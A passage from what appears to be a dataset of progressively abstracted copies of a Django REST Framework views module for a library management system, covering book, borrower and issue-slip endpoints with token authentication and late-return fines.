get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BookSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BookDetailSerializer\n return BookDetailSerializer\n\n def destroy(self, request, pk):\n book = self.get_object()\n book.is_active = False\n book.is_available = False\n book.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='S')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateStudentPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n student = self.get_object()\n student.is_active = False\n student.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n\n\nclass CustomAuthToken(ObtainAuthToken):\n\n def post(self, request, *args, **kwargs):\n serializer = self.serializer_class(data=request.data, context={\n 'request': request})\n serializer.is_valid(raise_exception=True)\n user = serializer.validated_data['user']\n token, created = Token.objects.get_or_create(user=user)\n return Response({'token': token.key, 'user_id': user.pk, 'email':\n user.email})\n\n\nclass BookViewSet(viewsets.ModelViewSet):\n authentication_classes = TokenAuthentication,\n permission_classes = ReadBookPermission,\n queryset = Book.objects.all()\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BookSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BookDetailSerializer\n return BookDetailSerializer\n\n def destroy(self, request, pk):\n book = self.get_object()\n book.is_active = False\n book.is_available = False\n book.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='S')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateStudentPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n student = self.get_object()\n student.is_active = False\n student.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n\n\nclass CustomAuthToken(ObtainAuthToken):\n <function token>\n\n\nclass BookViewSet(viewsets.ModelViewSet):\n authentication_classes = TokenAuthentication,\n permission_classes = ReadBookPermission,\n queryset = Book.objects.all()\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BookSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BookDetailSerializer\n return BookDetailSerializer\n\n def destroy(self, request, pk):\n book = self.get_object()\n book.is_active = False\n book.is_available = False\n book.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='S')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateStudentPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n student = self.get_object()\n student.is_active = False\n student.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n\n\nclass BookViewSet(viewsets.ModelViewSet):\n authentication_classes = TokenAuthentication,\n permission_classes = ReadBookPermission,\n queryset = Book.objects.all()\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BookSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BookDetailSerializer\n return BookDetailSerializer\n\n def destroy(self, request, pk):\n book = self.get_object()\n book.is_active = False\n book.is_available = False\n book.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='S')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateStudentPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n student = self.get_object()\n student.is_active = False\n student.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n\n\nclass BookViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BookSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BookDetailSerializer\n return BookDetailSerializer\n\n def destroy(self, request, pk):\n book = self.get_object()\n book.is_active = False\n book.is_available = False\n book.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='S')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateStudentPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n student = self.get_object()\n student.is_active = False\n student.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n\n\nclass BookViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BookSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BookDetailSerializer\n return BookDetailSerializer\n <function token>\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='S')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateStudentPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n student = self.get_object()\n student.is_active = False\n student.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n\n\nclass BookViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='S')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateStudentPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n student = self.get_object()\n student.is_active = False\n student.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='S')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateStudentPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n student = self.get_object()\n student.is_active = False\n student.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n student = self.get_object()\n student.is_active = False\n student.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n <function token>\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n 